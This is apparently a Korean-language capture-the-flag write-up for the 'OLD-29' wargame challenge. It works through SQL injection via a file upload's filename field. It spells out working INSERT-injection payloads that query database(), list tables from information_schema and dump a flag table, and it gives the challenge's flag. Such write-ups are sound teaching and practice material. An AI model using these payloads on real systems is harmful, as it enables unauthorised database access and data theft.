#️⃣

OLD-29

초기 화면

파일 업로드 취약점인듯
제출하면 시간, ip 찍히는 테이블이 나옴
먼저 제출하는 php 페이지에서 어떤 일을 하는지 확인해봐야겠다.
이렇게 파일 그대로 패킷에 넣어서 보내주게 된다.
injection을 쿼리에 넣어서 하는게 아니라, 웹쉘을 만들어서 넣으면 실행해주는지 확인해봐야할거같다.
파일이 어디 저장되는지 알아야 함.
업로드 실패하면 아무 DB가 보이질 않는것을 보니
업로드 → DB 조회 → DB 출력 의 순서로 이루어진다고 볼 수 있다.
이때 파일 선택에 들어가는 값이 POST로 들어가는 것을 확인해 볼 수 있는데, filename 인자에 sql injection을 적용할 수 있는지 생각해봐야겠다.
[PAYLOAD]
filename="aa',12,'218.146.20.55')#"
Python
먼저 flag가 있는 DB이름부터 알아야 하므로
filename="aa',12,'218.146.20.55'),((SELECT database()),12,'218.146.20.55')#"
Python
여기서 DB이름이 chall29 인것을 알 수 있다.
이제 모든 테이블을 가져와보자
filename="aa',12,'218.146.20.55'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'),12,'218.146.20.55')#"
Python
files랑 flag_congratz라는 테이블이 나왔다.
filename="aa',12,'218.146.20.55'),((SELECT group_concat(*) FROM flag_congratz),12,'218.146.20.55')#"
Python
FLAG{didYouFeelConfused?_sorry:)}